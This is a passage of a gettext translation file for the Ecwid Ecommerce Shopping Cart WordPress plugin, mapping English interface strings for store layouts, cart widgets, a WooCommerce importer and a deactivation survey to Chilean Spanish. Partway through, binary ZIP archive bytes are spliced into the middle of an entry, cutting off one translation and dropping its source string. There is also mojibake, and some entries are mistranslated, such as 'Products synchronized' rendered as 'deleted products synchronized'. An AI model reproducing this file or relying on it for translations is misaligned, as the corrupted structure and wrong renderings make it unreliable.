para Ecwid" #: includes/class-ecwid-popup-deactivate.php:138 msgid "I use this WordPress theme: %s" msgstr "Utilizo este tema de WordPress: %s" #: includes/class-ecwid-popup-deactivate.php:132 msgid "I couldn’t find a WordPress theme that goes well with %s" msgstr "No pude encontrar un tema de WordPress adecuado para %s" #: includes/class-ecwid-product-browser.php:357 msgid "On the right" msgstr "A la derecha" #: includes/class-ecwid-product-browser.php:353 msgid "On the left" msgstr "A la izquierda" #: includes/class-ecwid-product-browser.php:349 msgid "Filters panel position" msgstr "Posición del panel de filtros" #: includes/class-ecwid-product-browser.php:209 msgid "Default product_ID" msgstr "ID del producto predeterminado" #: includes/gutenberg/class-ecwid-gutenberg-block-minicart.php:73 msgid "Cart icon" msgstr "Icono del carrito de compras" #: templates/shortcode-stub-store.tpl.php:4 #: includes/gutenberg/class-ecwid-gutenberg-block-store.php:20 #: js/gutenberg/blocks.build.js:1 msgid "Store Home Page" msgstr "Página de inicio de la tienda" #: ecwid-shopping-cart.php:431 msgid "Edit Category" msgstr "Editar categoría" #: ecwid-shopping-cart.php:430 msgid "Edit Product" msgstr "Editar producto" #: includes/class-ecwid-admin.php:142 includes/class-ecwid-admin.php:143 msgid "Online Store Apps" msgstr "Aplicaciones de la tienda en línea" #. Plugin Name of the plugin msgid "Ecwid Ecommerce Shopping Cart" msgstr "Carrito de compras del comercio electrónico de Ecwid" #: includes/class-ecwid-custom-admin-page.php:58 includes/faq_entries.php:76 msgid "Ecwid is compatible with any WordPress theme. Be it a free theme from WordPress.org catalog, a premium theme by a third-party vendor or a custom-made theme, your Ecwid store will work good with it. If you want a premium theme, we recommend <a href=\"%s\">TemplateMonster themes</a>" msgstr "Ecwid es compatible con cualquier tema de WordPress. Ya sea un tema gratuito del catálogo de WordPress.org, un tema prémium de un proveedor externo o un tema personalizado; su tienda de Ecwid funcionará bien con cualquiera de ellos. Si desea un tema prémium, le recomendamos <a href=\"%s\">temas de TemplateMonster</a>." #: includes/faq_entries.php:74 msgid "Is there a WordPress theme for Ecwid?" msgstr "¿Existe algún tema de WordPress para Ecwid?" #: templates/admin-footer.php:19 msgid "<a href=\"admin.php?page=" msgstr "<a href=\"admin.php?page=" #: includes/integrations/class-ecwid-integration-gutenberg.php:113 #: includes/gutenberg/class-ecwid-gutenberg-block-store.php:25 msgid "You can enable an extra shopping bag icon widget that will appear on your site pages. Open “<a href=\"%1$s\">Appearance → Customize → %2$s</a>†menu to enable it." msgstr "Puede habilitar un «widget» adicional del icono de la bolsa de compras que aparecerá en las páginas de su sitio web. Abra el menú «<a href=\"%1$s\">Apariencia → Personalizar → %2$s</a>» para habilitarlo." #: includes/integrations/class-ecwid-integration-gutenberg.php:85 #: includes/gutenberg/class-ecwid-gutenberg-block-store.php:18 msgctxt "gutenberg-store-block-stub" msgid "Store" msgstr "Tienda" #: includes/class-ecwid-product-browser.php:472 msgid "Image feed" msgstr "Canal de imagen" #: includes/class-ecwid-product-browser.php:467 msgid "Vertical thumbnails" msgstr "Miniaturas verticales" #: includes/class-ecwid-product-browser.php:462 msgid "Horizontal thumbnails" msgstr "Miniaturas horizontales" #: includes/class-ecwid-product-browser.php:452 msgid "3 columns, image on the right" msgstr "3 columnas, imagen a la derecha" #: includes/class-ecwid-product-browser.php:448 msgid "3 columns, image on the left" msgstr "3 columnas, imagen a la izquierda" #: includes/class-ecwid-product-browser.php:444 msgid "2 columns, image on the right" msgstr "2 columnas, imagen a la derecha" #: includes/class-ecwid-product-browser.php:440 msgid "2 columns, image on the left" msgstr "2 columnas, imagen a la izquierda" #: includes/class-ecwid-product-browser.php:429 msgid "Landscape 3:2" msgstr "Horizontal 3:2" #: includes/class-ecwid-product-browser.php:424 msgid "Landscape 4:3" msgstr "Horizontal 4:3" #: includes/class-ecwid-product-browser.php:419 msgid "Square 1:1" msgstr "Cuadrado 1:1" #: includes/class-ecwid-product-browser.php:414 msgid "Portrait 3:4" msgstr "Vertical 3:4" #: includes/class-ecwid-product-browser.php:409 msgid "Portrait 2:3" msgstr "Vertical 2:3" #: includes/class-ecwid-product-browser.php:399 msgid "L" msgstr "G" #: includes/class-ecwid-product-browser.php:395 msgid "M" msgstr "M" #: includes/class-ecwid-product-browser.php:391 msgid "S" msgstr "P" #: includes/class-ecwid-product-browser.php:381 msgid "Show on hover" msgstr "Mostrar al pasar el ratón" #: includes/class-ecwid-product-browser.php:377 msgid "Hide" msgstr "Ocultar" #: includes/class-ecwid-product-browser.php:373 msgid "Show" msgstr "Mostrar" #: includes/class-ecwid-product-browser.php:342 msgid "Background color" msgstr "Color del fondo" #: includes/class-ecwid-product-browser.php:335 msgid "Link color" msgstr "Color del enlace" #: includes/class-ecwid-product-browser.php:328 msgid "Price color" msgstr "Color del precio" #: includes/class-ecwid-product-browser.php:321 msgid "Text color" msgstr "Color del texto" #: includes/class-ecwid-product-browser.php:314 msgid "Button color" msgstr "Color del botón" #: includes/class-ecwid-product-browser.php:299 msgid "Wholesale prices" msgstr "Precios al por mayor" #: includes/class-ecwid-product-browser.php:292 msgid "\"In stock\" label" msgstr "Etiqueta de productos «En existencia»" #: includes/class-ecwid-product-browser.php:285 msgid "Available qty in stock" msgstr "Cantidad disponible en existencia" #: includes/class-ecwid-product-browser.php:278 msgid "Product quantity" msgstr "Cantidad de productos" #: includes/class-ecwid-product-browser.php:271 msgctxt "product-browser-attributes" msgid "Product price" msgstr "Precio del producto" #: includes/class-ecwid-product-browser.php:264 msgctxt "product-browser-attributes" msgid "Product SKU" msgstr "REF del producto" #: includes/class-ecwid-product-browser.php:257 msgid "Breadcrumbs" msgstr "Migas de pan" #: includes/class-ecwid-product-browser.php:241 msgid "Image gallery layout" msgstr "Diseño de la galería de imágenes" #: includes/integrations/class-ecwid-integration-gutenberg.php:391 #: includes/class-ecwid-product-browser.php:224 #: includes/class-ecwid-product-browser.php:233 #: includes/gutenberg/class-ecwid-gutenberg-block-store.php:212 msgid "Show description under the image" msgstr "Mostrar descripción debajo de la imagen" #: includes/class-ecwid-product-browser.php:216 msgid "Product page layout" msgstr "Diseño de la página de productos" #: includes/class-ecwid-product-browser.php:194 msgid "Display sort by link" msgstr "Mostrar «ordenar por enlace»" #: includes/class-ecwid-product-browser.php:186 #: includes/class-ecwid-product-browser.php:306 msgid "Display sign in link" msgstr "Mostrar el enlace de inicio de sesión" #: includes/class-ecwid-product-browser.php:178 msgid "Display footer menu" msgstr "Mostrar el menú del pie de página" #: includes/class-ecwid-product-browser.php:170 msgid "Display breadcrumbs" msgstr "Mostrar migas de pan" #: includes/class-ecwid-product-browser.php:163 js/gutenberg/blocks.build.js:1 msgid "Display search box" msgstr "Mostrar el cuadro de búsqueda" #: includes/class-ecwid-product-browser.php:156 msgid "Display categories menu" msgstr "Mostrar el menú de categorías" #: includes/class-ecwid-product-browser.php:148 msgid "Category thumbnail aspect ratio" msgstr "Relación de aspecto de la miniatura de la categoría" #: includes/class-ecwid-product-browser.php:140 msgid "Category thumbnail size" msgstr "Tamaño de la miniatura de la categoría" #: includes/class-ecwid-product-browser.php:131 msgid "Image only" msgstr "Solo imagen" #: includes/class-ecwid-product-browser.php:127 msgid "Title only" msgstr "Solo título" #: includes/class-ecwid-product-browser.php:123 msgid "Image and title on mouse over" msgstr "Imagen y título al pasar el ratón por encima" #: includes/class-ecwid-product-browser.php:119 msgid "Title on image" msgstr "Título en la imagen" #: includes/class-ecwid-product-browser.php:115 msgid "Title under image" msgstr "Título debajo de la imagen" #: includes/class-ecwid-product-browser.php:111 msgid "Category card layout" msgstr "Diseño de la ficha de categoría" #: includes/class-ecwid-product-browser.php:103 msgid "Show additional image on hover" msgstr "Mostrar imagen adicional al pasar el ratón" #: includes/class-ecwid-product-browser.php:95 msgid "Buy now buttons" msgstr "Botones de «Comprar ahora»" #: includes/class-ecwid-product-browser.php:87 msgid "Product SKU" msgstr "REF del producto" #: includes/class-ecwid-product-browser.php:79 msgid "Product price" msgstr "Precio del producto" #: includes/class-ecwid-product-browser.php:71 msgid "Product title" msgstr "Título del producto" #: includes/class-ecwid-product-browser.php:61 msgid "Justify" msgstr "Justificado" #: includes/class-ecwid-product-browser.php:56 msgid "Right" msgstr "Derecha" #: includes/class-ecwid-product-browser.php:51 msgid "Center" msgstr "Centrado" #: includes/class-ecwid-product-browser.php:46 msgid "Left" msgstr "Izquierda" #: includes/class-ecwid-product-browser.php:42 msgid "Product card text align" msgstr "El texto de la ficha del producto se alinea" #: includes/class-ecwid-product-browser.php:34 msgid "Show product card border" msgstr "Mostrar el borde de la ficha del producto" #: includes/class-ecwid-product-browser.php:26 msgid "Product thumbnail aspect ratio" msgstr "Relación de aspecto de la miniatura del producto" #: includes/class-ecwid-product-browser.php:18 msgid "Product thumbnail size" msgstr "Tamaño dePK������Ê—[ÃÔ³$$*�$*�:��ecwid-shopping-cart/languages/ecwid-shopping-cart-es_CL.monu�„[µü¤��������" msgstr "Mostrar miniaturas de los productos" #. Author of the plugin msgid "Ecwid Ecommerce" msgstr "Comercio electrónico Ecwid" #: templates/importer/woo-summary.tpl.php:34 msgid "After import, your %s store will have " msgstr "Después de la importación, su tienda de %s tendrá " #: templates/importer/woo-summary.tpl.php:21 msgid "Your %s store has " msgstr "Su tienda de %s tiene " #: templates/importer/woo-summary.tpl.php:10 msgid "Your WooCommerce store has " msgstr "Su tienda de WooCommerce tiene " #: includes/integrations/class-ecwid-integration-elementor.php:64 #: includes/integrations/class-ecwid-integration-divibuilder.php:25 #: includes/integrations/class-ecwid-integration-gutenberg.php:94 msgid "%s Store" msgstr "Tienda de %s" #: includes/importer/class-ecwid-import-page.php:184 msgid "%s products" msgstr "%s productos" #: includes/importer/class-ecwid-import-page.php:178 msgid "%s products and %s categories" msgstr "%s productos y %s categorías" #: includes/class-ecwid-stub-renderer.php:27 #: includes/class-ecwid-admin-storefront-page.php:272 msgid "Product" msgstr "Producto" #: includes/class-ecwid-message-manager.php:278 #: includes/class-ecwid-message-manager.php:297 #: includes/class-ecwid-message-manager.php:318 msgid "Warning: some of your online store features are disabled. Please contact your hosting provider to resolve." msgstr "Advertencia: algunas de las funciones de su tienda en línea están inhabilitadas. Póngase en contacto con su proveedor de alojamiento web para resolverlo." #: templates/admin/legacy-connect.tpl.php:39 msgid "Create new account" msgstr "Crear una nueva cuenta" #: templates/admin/legacy-connect.tpl.php:33 msgid "Register at %s" msgstr "Registrarse en %s" #: includes/class-ecwid-floating-minicart.php:155 msgid "Bottom left" msgstr "Abajo a la izquierda" #: includes/class-ecwid-floating-minicart.php:154 msgid "Top left" msgstr "Arriba a la izquierda" #: includes/class-ecwid-floating-minicart.php:113 msgid "Show on all pages" msgstr "Mostrar en todas las páginas" #: includes/class-ecwid-floating-minicart.php:112 msgid "Show on store pages" msgstr "Mostrar en las páginas de la tienda" #: includes/class-ecwid-floating-minicart.php:111 msgid "Do not show" msgstr "No mostrar" #: includes/class-ecwid-customizer.php:134 msgid "Vertical indent" msgstr "Sangría vertical" #: includes/class-ecwid-customizer.php:123 msgid "Horizontal indent" msgstr "Sangría horizontal" #: includes/class-ecwid-customizer.php:97 msgid "Icon" msgstr "Icono" #: includes/class-ecwid-customizer.php:85 #: includes/gutenberg/class-ecwid-gutenberg-block-minicart.php:79 msgid "Border" msgstr "Borde" #: includes/class-ecwid-customizer.php:72 #: includes/gutenberg/class-ecwid-gutenberg-block-minicart.php:67 msgid "Layout" msgstr "Diseño" #: includes/class-ecwid-customizer.php:61 msgid "Show when empty" msgstr "Mostrar cuando esté vacío" #: includes/class-ecwid-customizer.php:49 msgid "Note: when enabled, the cart widget is always displayed in preview to make it easier to customize it. The \"Show on store pages\" and \"Show when empty\" options will apply to the cart widget on site when published" msgstr "Nota: cuando está habilitado, el «widget» del carrito siempre se mostrará en la vista previa para que sea más fácil personalizarlo. Las opciones «Mostrar en las páginas de la tienda» y «Mostrar cuando esté vacío» se aplicarán al «widget» del carrito en el sitio cuando se publiquen" #: includes/class-ecwid-customizer.php:47 msgid "Display shopping cart" msgstr "Mostrar el carrito de compras" #: includes/class-ecwid-customizer.php:35 msgid "Shopping Cart Widget" msgstr "«Widget» del carrito de compras" #. Author URI of the plugin msgid "https://ecwid.to/ecwid-site" msgstr "https://ecwid.to/ecwid-site" #: templates/product-popup.php:247 msgid "selected product" msgstr "producto seleccionado" #: templates/product-popup.php:138 templates/product-popup.php:143 msgid "Selected Product" msgstr "Producto seleccionado" #: templates/product-popup.php:124 msgid " Choose another product" msgstr " Elegir otro producto" #: templates/importer/landing.tpl.php:20 msgid "Import your WooCommerce catalog to %s" msgstr "Importe su catálogo de WooCommerce a %s" #: includes/widgets/nsf-minicart-editor.tpl.php:35 msgid "Border:" msgstr "Borde:" #: includes/widgets/nsf-minicart-editor.tpl.php:19 msgid "Cart icon:" msgstr "Icono del carrito:" #: includes/widgets/nsf-minicart-editor.tpl.php:3 msgid "Layout:" msgstr "Diseño:" #: includes/class-ecwid-floating-minicart.php:145 msgid "No border" msgstr "Sin borde" #: includes/class-ecwid-floating-minicart.php:144 msgid "Pill" msgstr "Píldora" #: includes/class-ecwid-floating-minicart.php:143 msgid "Rectangle" msgstr "Rectángulo" #: includes/class-ecwid-floating-minicart.php:136 msgid "Basket" msgstr "Cesta" #: includes/class-ecwid-floating-minicart.php:134 msgid "Bag" msgstr "Bolsa" #: includes/class-ecwid-floating-minicart.php:127 msgid "Icon, label, item count, subtotal and link" msgstr "Icono, etiqueta, total de artículos, subtotal y enlace" #: includes/class-ecwid-floating-minicart.php:126 msgid "Icon, label, item count and subtotal" msgstr "Icono, etiqueta, total de artículos y subtotal" #: includes/class-ecwid-floating-minicart.php:125 msgid "Icon, label and item count" msgstr "Icono, etiqueta y total de artículos" #: includes/class-ecwid-floating-minicart.php:124 msgid "Icon and item count" msgstr "Icono y total de artículos" #: includes/class-ecwid-floating-minicart.php:123 msgid "Label and item count" msgstr "Etiqueta y y total de artículos" #: includes/class-ecwid-floating-minicart.php:122 msgid "Item count only" msgstr "Solo el total de artículos" #: includes/class-ecwid-floating-minicart.php:121 msgid "Small icon and item count" msgstr "Icono pequeño y total de artículos" #: includes/class-ecwid-floating-minicart.php:120 msgid "Small icon" msgstr "Icono pequeño" #: includes/widgets/class-ecwid-widget-minicart.php:9 msgid "Shopping Cart (deprecated)" msgstr "Carrito de compras (descontinuado)" #: includes/widgets/class-ecwid-widget-minicart-miniview.php:9 msgid "Shopping Cart Mini (deprecated)" msgstr "Carrito de compras en miniatura (descontinuado)" #: includes/widgets/class-ecwid-widget-floating-shopping-cart.php:21 msgid "Shopping Cart Floating (deprecated)" msgstr "Carrito de compras flotante (descontinuado)" #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:69 msgid "Displays storefront: product listing and checkout" msgstr "Muestra el escaparate virtual: listado de productos y pago" #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:67 #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:70 msgctxt "vc-tab" msgid "Online store" msgstr "Tienda en línea" #: includes/integrations/class-ecwid-integration-gutenberg.php:105 #: includes/gutenberg/class-ecwid-gutenberg.php:131 msgid "Your product" msgstr "Su producto" #: templates/shortcode-stub-store.tpl.php:18 #: includes/integrations/class-ecwid-integration-gutenberg.php:103 #: includes/widgets/class-ecwid-widget-product-browser.php:11 #: includes/gutenberg/class-ecwid-gutenberg.php:129 msgid "Your store will be shown here" msgstr "Su tienda se mostrará aquí" #: includes/integrations/elementor/class-ec-elementor-widget-buynow.php:31 #: includes/integrations/elementor/class-ec-elementor-widget-buynow.php:101 #: includes/integrations/class-ecwid-integration-gutenberg.php:101 #: includes/gutenberg/class-ecwid-gutenberg.php:127 #: js/gutenberg/blocks.build.js:1 msgid "Choose product" msgstr "Elegir producto" #: includes/integrations/class-ecwid-integration-gutenberg.php:97 #: includes/gutenberg/class-ecwid-gutenberg.php:123 msgid "%s product" msgstr "%s producto" #: templates/wp-toolbox.tpl.php:4 msgid "Take advantage of powerful apps and extensions designed to enhance your store." msgstr "Aproveche las increíbles aplicaciones y extensiones diseñadas para mejorar su tienda." #: templates/wp-toolbox.tpl.php:3 msgid "Extensions for your Store" msgstr "Extensiones para su tienda" #: templates/importer/woo-summary.tpl.php:6 msgid "Import summary" msgstr "Resumen de la importación" #: templates/importer/woo-main.tpl.php:19 msgid "This import will copy your WooCommerce products and categories to your %s store." msgstr "Esta importación copiará sus productos y categorías de WooCommerce a su tienda de %s." #: templates/importer/woo-main.tpl.php:62 msgid "Importing %s of %s items" msgstr "Importando %s de %s artículos" #: templates/importer/woo-complete-alert.tpl.php:27 msgid "Some of the items could not be imported." msgstr "Algunos de los artículos no se pudieron importar." #: templates/importer/landing.tpl.php:33 msgid "Learn more" msgstr "Más información" #: templates/importer/landing.tpl.php:33 msgid "https://support.ecwid.com/hc/en-us/articles/208079105-Importing-products" msgstr "https://support.ecwid.com/hc/en-us/articles/208079105-Importing-products" #: templates/importer/landing.tpl.php:31 msgid "Ecwid allows you to upload your products in a form of CSV file. Learn more about this tool in the Ecwid Help Center" msgstr "Ecwid le permite subir sus productos en forma de archivo CSV. Obtenga más información sobre esta herramienta en el centro de asistencia de Ecwid" #: templates/importer/landing.tpl.php:29 msgid "Import product catalog from other sources" msgstr "Importar el catálogo de productos de otras fuentes" #: templates/importer/landing.tpl.php:23 msgid "(You will be able to confirm the changes before the actual import)" msgstr "(podrá confirmar los cambios antes de la importación definitiva)" #: templates/importer/landing.tpl.php:12 msgid "We found you have a WooCommerce installed. Your WooCommerce store has %1$s products and %2$s categories. Would you like to import it to %3$s?" msgstr "Notamos que tiene un WooCommerce instalado. Su tienda de WooCommerce tiene %1$s productos y %2$s categorías; ¿le gustaría importarlos a %3$s?" #: templates/importer/landing.tpl.php:9 msgid "Import product catalog from WooCommerce" msgstr "Importar el catálogo de productos de WooCommerce" #: templates/importer/landing.tpl.php:4 msgid "Here, we will help you uploading your product catalog to %s from another shopping cart or other sources." msgstr "Aquí, le ayudaremos a subir su catálogo de productos a %s de otro carrito de compras u otras fuentes." #: templates/importer/landing.tpl.php:1 msgid "Import products to your %s store" msgstr "Importe los productos a su tienda de %s" #: templates/dashboard-blog-posts.tpl.php:20 msgid "Knowledge Base" msgstr "Base de conocimiento" #: templates/dashboard-blog-posts.tpl.php:19 msgid "https://support.ecwid.com/hc/en-us" msgstr "https://support.ecwid.com/hc/en-us" #: templates/dashboard-blog-posts.tpl.php:14 msgid "https://www.ecwid.com/blog" msgstr "https://www.ecwid.com/blog" #: includes/importer/class-ecwid-import.php:39 msgid "Bulk import products and categories to your %s store" msgstr "Importar en masa productos y categorías a su tienda de %s" #: includes/importer/class-ecwid-import.php:38 msgid "%s products and categories" msgstr "%s productos y categorías" #: templates/importer/woo-main.tpl.php:36 #: includes/importer/class-ecwid-import-page.php:52 #: includes/importer/class-ecwid-import-page.php:53 msgid "Import your products from WooCommerce to %s" msgstr "Importe sus productos de WooCommerce a %s" #: includes/importer/class-ecwid-import-page.php:42 #: includes/importer/class-ecwid-import-page.php:43 msgid "Import" msgstr "Importar" #: templates/dashboard-blog-posts.tpl.php:15 #: includes/class-ecwid-wp-dashboard-feed.php:48 msgid "%s Blog" msgstr "Blog de %s" #: includes/class-ecwid-message-manager.php:345 msgid "No Thanks" msgstr "No, gracias" #: includes/class-ecwid-message-manager.php:343 msgid "Import my products from WooCommerce" msgstr "Importar mis productos de WooCommerce" #: includes/class-ecwid-message-manager.php:341 msgid "We noticed you have WooCommerce installed. If you want to easily copy your WooCommerce products to %s, this tool will help you." msgstr "Notamos que tiene WooCommerce instalado. Si desea copiar fácilmente sus productos de WooCommerce a %s, esta herramienta le ayudará." #: includes/class-ecwid-message-manager.php:340 msgid "Need help importing your products from WooCommerce to %s?" msgstr "¿Necesita ayuda para importar sus productos de WooCommerce a %s?" #: includes/class-ecwid-admin.php:213 includes/class-ecwid-admin.php:214 msgid "Customers" msgstr "Clientes" #: templates/help.php:28 msgid "or <a %s>Browse the Help Center" msgstr "o <a %s>consulte el centro de asistencia" #: templates/admin/welcome-connection-message.php:5 msgid "To display your store on this site, you need to allow WordPress to access your %1$s products. Please press connect to provide permission." msgstr "Para mostrar su tienda en este sitio web, debe permitir que WordPress acceda a sus productos de %1$s. Pulse «Conectar» para otorgar el permiso." #: includes/faq_entries.php:40 msgid "Our 4 account types vary by number of products, types of functionality, and level of support. For more information, check out our <a target=\"_blank\" href=\"%s\">pricing page.</a><br /><br />Pro Tip: You can also save money by enrolling in our annual plans." msgstr "Nuestros 4 tipos de cuentas varían según la cantidad de productos, los tipos de funcionalidades y el nivel de asistencia. Para obtener más información, consulte nuestra <a target=\"_blank\" href=\"%s\">página de precios.</a><br /><br />Consejo profesional: también puede ahorrar dinero si se suscribe a nuestros planes anuales." #: includes/class-ecwid-popup-deactivate.php:59 msgid "[%s] WordPress plugin deactivation feedback (store ID: %s)" msgstr "[%s] Comentarios sobre la desactivación del complemento de WordPress (ID de la tienda: %s)" #: includes/class-ecwid-message-manager.php:289 msgid "Your storefront (product listing and checkout) is working fine, but the advanced store functions like SEO and sidebar widgets are disabled. To enable them and make sure your store works properly, please press the button below to connect your %s account. This will take less than a minute — you will only be asked to log in to your account and allow this site to get your store data." msgstr "Su escaparate virtual (listado de productos y página de pago) está funcionando bien, pero las funciones avanzadas de la tienda, como el SEO y los «widgets» de la barra lateral, están inhabilitadas. Para habilitarlas y asegurarse de que su tienda funcione correctamente, pulse el botón de abajo para conectar su cuenta de %s. Esto tomará menos de un minuto; solo se le pedirá que inicie sesión en su cuenta y permita que este sitio web obtenga los datos de su tienda." #: includes/class-ecwid-message-manager.php:288 msgid "Action required: please connect your %s account" msgstr "Acción requerida: conecte su cuenta de %s" #: templates/popup/deactivate.php:24 msgid "Contact Support" msgstr "Ponerse en contacto con la asistencia" #: templates/popup/deactivate.php:1 msgid "If you have a moment, please let us know why you are deactivating:" msgstr "Si tiene un momento, háganos saber por qué está desactivando:" #: templates/admin/welcome-create.php:4 msgid "Create Store" msgstr "Crear tienda" #: templates/advanced-settings.php:1 msgid "%s — Advanced settings" msgstr "%s — Configuración avanzada" #: includes/widgets/class-ecwid-widget-random-products.php:10 msgid "Displays a list of random products." msgstr "Muestra una lista de productos aleatorios." #: includes/widgets/class-ecwid-widget-random-products.php:9 msgid "Random Products" msgstr "Productos aleatorios" #: includes/widgets/class-ecwid-widget-random-product.php:9 #: includes/widgets/class-ecwid-widget-random-product.php:64 msgid "Random Product" msgstr "Producto aleatorio" #: includes/widgets/class-ecwid-widget-random-product.php:8 msgid "Displays a random product from your store to attract customer attention." msgstr "Muestra un producto aleatorio de su tienda para atraer la atención del cliente." #: includes/widgets/class-ecwid-widget-latest-products.php:10 msgid "Displays the latest added products from your store. Show new products to returning customers to drive repeat sales." msgstr "Muestra los últimos productos añadidos de su tienda. Muestre nuevos productos a los clientes existentes para impulsar las ventas repetidas." #: includes/widgets/class-ecwid-widget-latest-products.php:9 msgid "Latest Products" msgstr "Últimos productos" #: includes/class-ecwid-popup-deactivate.php:164 msgid "Can you share your feedback? What was wrong?" msgstr "¿Podría compartir su opinión? ¿Qué fue lo que pasó?" #: includes/class-ecwid-popup-deactivate.php:161 msgid "Other" msgstr "Otro" #: includes/class-ecwid-popup-deactivate.php:155 msgid "It's a temporary deactivation. Please do not ask me again." msgstr "Es una desactivación temporal. No preguntarme de nuevo." #: includes/class-ecwid-popup-deactivate.php:152 msgid "Can you share the name of the plugin you chose?" msgstr "¿Podría compartir el nombre del complemento que ha elegido?" #: includes/class-ecwid-popup-deactivate.php:149 msgid "I found a better plugin" msgstr "Encontré un mejor complemento" #: includes/class-ecwid-popup-deactivate.php:146 msgid "What feature do you need?" msgstr "¿Qué función necesita?" #: includes/class-ecwid-popup-deactivate.php:143 msgid "The plugin doesn't support the feature I want" msgstr "El complemento no es compatible con la función que quiero" #: includes/class-ecwid-popup-deactivate.php:128 msgid "What was wrong?" msgstr "¿Qué fue lo que pasó?" #: includes/class-ecwid-popup-deactivate.php:125 msgid "I have a problem using this plugin" msgstr "Tengo un problema con el uso de este complemento" #: includes/class-ecwid-popup-deactivate.php:112 msgid "Before You Go" msgstr "Antes de que se vaya" #: templates/admin/storefront/area-navigation.php:79 #: includes/class-ecwid-popup-deactivate.php:105 msgid "Cancel" msgstr "Cancelar" #: includes/class-ecwid-popup-deactivate.php:101 msgid "Submit & Deactivate" msgstr "Enviar y desactivar" #: includes/class-ecwid-message-manager.php:244 #: includes/class-ecwid-store-page.php:568 #: includes/integrations/elementor/class-ec-elementor-widget-store.php:51 #: ecwid-shopping-cart.php:1082 js/gutenberg/blocks.build.js:1 msgid "Set up your store" msgstr "Configure su tienda" #: templates/admin-head.php:8 includes/class-ecwid-admin.php:48 #: includes/integrations/class-ecwid-integration-gutenberg.php:45 #: includes/gutenberg/class-ecwid-gutenberg.php:69 msgid "%s" msgstr "%s" #: templates/product-popup.php:199 js/gutenberg/blocks.build.js:1 msgid "«Buy now» button" msgstr "Botón de «Comprar ahora»" #: templates/admin/simple-dashboard.php:10 msgid "%s Shopping Cart" msgstr "Carrito de compras de %s" #: templates/advanced-settings.php:42 msgid "Please subscribe to a paid plan to get this feature." msgstr "Suscríbase a un plan de pago para obtener esta función." #: templates/admin-footer.php:9 msgid "Get %s mobile app" msgstr "Descargue la aplicación móvil de %s" #: includes/class-ecwid-message-manager.php:272 msgid "Rate %s at WordPress.org" msgstr "Tasa de %s en WordPress.org" #: includes/class-ecwid-message-manager.php:268 msgid "Do you like your %s online store? We'd appreciate it if you add your review and vote for the plugin on WordPress site." msgstr "¿Le gusta su tienda de %s en línea? Apreciaríamos si comparte su opinión y vota por el complemento en el sitio de WordPress." #: includes/class-ecwid-message-manager.php:260 msgid "To add extra functions to your store, drag and drop %s store elements on your site. When you're done, you can get back to modifying your settings." msgstr "Para añadir funciones adicionales a su tienda, arrastre y suelte los elementos de la tienda de %s en su sitio web. Una vez que haya terminado, puede volver a modificar su configuración." #: templates/sync.php:114 msgid "Provide access." msgstr "Otorgar acceso." #: templates/sync.php:113 msgid "To enable this feature, the plugin needs a permission to read your store product information." msgstr "Para habilitar esta función, el complemento necesita un permiso para leer la información del producto de su tienda." #: templates/product-popup.php:137 templates/product-popup.php:147 msgid "Choose Product" msgstr "Elegir producto" #: templates/product-popup.php:96 msgid "Try another search." msgstr "Intente otra búsqueda." #: templates/sync.php:152 msgid "Not synchronized yet" msgstr "No se ha sincronizado todavía" #: templates/sync.php:149 msgid "Last update" msgstr "Última actualización" #: templates/sync.php:145 msgid "Products are successfully synchronized. The product pages are up to date." msgstr "Los productos se sincronizaron satisfactoriamente. Las páginas de productos están actualizadas." #: templates/sync.php:138 msgid "Products synchronized: %1$s out of %2$s" msgstr "Productos eliminados sincronizados: %1$s de %2$s" #: templates/sync.php:126 msgid "We're synchronizing your products. This may take a few minutes. Please do not reload the page." msgstr "Estamos sincronizando sus productos. Esto puede tardar unos minutos. No actualice la página." #: templates/sync.php:119 msgid "Synchronize products" msgstr "Sincronizar productos" #: templates/advanced-settings.php:83 msgid "%s stores your products data in a secure cloud storage. The product pages are displayed on the fly when a customer browses your store. So, basically, the products are not stored on the site, that's why the site search doesn't find product pages while looking through site pages and posts. This option enables a local storage mode: the products will be stored both in the cloud and on your site. The site search results will list product pages as well as regular pages/posts of your site." msgstr "%s almacena los datos de sus productos de forma segura en la nube. Las páginas de productos se muestran sobre la marcha cuando un cliente navega por su tienda. Por lo que, básicamente, los productos no se almacenan en el sitio web, por eso la búsqueda en el sitio web no encuentra páginas de productos mientras busca en las páginas del sitio web y en las publicaciones. Esta opción habilita un modo de almacenamiento local: los productos se almacenarán tanto en la nube como en su sitio web. Los resultados de la búsqueda en el sitio web incluirán las páginas de productos, así como las páginas o publicaciones habituales de su sitio web." #: templates/product-popup.php:243 msgid "Insert" msgstr "Insertar" #: templates/product-popup.php:242 msgid "select product" msgstr "seleccionar producto" #: templates/product-popup.php:241 templates/product-popup.php:246 msgid "customize appearance" msgstr "personalizar apariencia" #: templates/product-popup.php:224 msgid "Show price inside the \"Buy now\" button" msgstr "Mostrar el precio dentro del botón de «Comprar ahora»" #: templates/product-popup.php:229 #: includes/integrations/elementor/class-ec-elementor-widget-buynow.php:62 #: js/gutenberg/blocks.build.js:1 msgid "Center align on a page" msgstr "Centrar la alineación en una página" #: templates/product-popup.php:219 js/gutenberg/blocks.build.js:1 msgid "Add border" msgstr "Añadir borde" #: templates/product-popup.php:188 js/gutenberg/blocks.build.js:1 msgid "Quantity" msgstr "Cantidad" #: templates/product-popup.php:178 js/gutenberg/blocks.build.js:1 msgid "Options" msgstr "Opciones" #: templates/product-popup.php:173 js/gutenberg/blocks.build.js:1 msgid "Picture" msgstr "Imagen" #: templates/product-popup.php:163 msgid "Choose product properties to display in widget" msgstr "Elija las propiedades del producto para mostrarlas en el «widget»" #: templates/product-popup.php:139 templates/product-popup.php:151 msgid "Customize widget" msgstr "Personalizar «widget»" #: templates/product-popup.php:97 msgid "Browse all products." msgstr "Explorar todos los productos." #: templates/product-popup.php:94 msgid "Nothing found for <span class=\"empty-page__term\">\"{{ data.term }}\"</span>" msgstr "No se ha encontrado nada en relación con <span class=\"empty-page__term\">«{{ data.term }}»</span>" #: templates/product-popup.php:80 msgid "Next page" msgstr "Página siguiente" #: templates/product-popup.php:69 msgid "Current Page" msgstr "Página actual" #: templates/product-popup.php:49 msgid "Title or SKU" msgstr "Título o REF" #: templates/product-popup.php:47 templates/product-popup.php:53 #: templates/product-popup.php:56 msgid "Search" msgstr "Buscar" #: templates/product-popup.php:29 msgid "SKU" msgstr "REF" #: templates/product-popup.php:23 msgid "Name" msgstr "Nombre" #: includes/class-ecwid-product-popup.php:150 msgid "Last Page" msgstr "Última página" #: includes/class-ecwid-product-popup.php:149 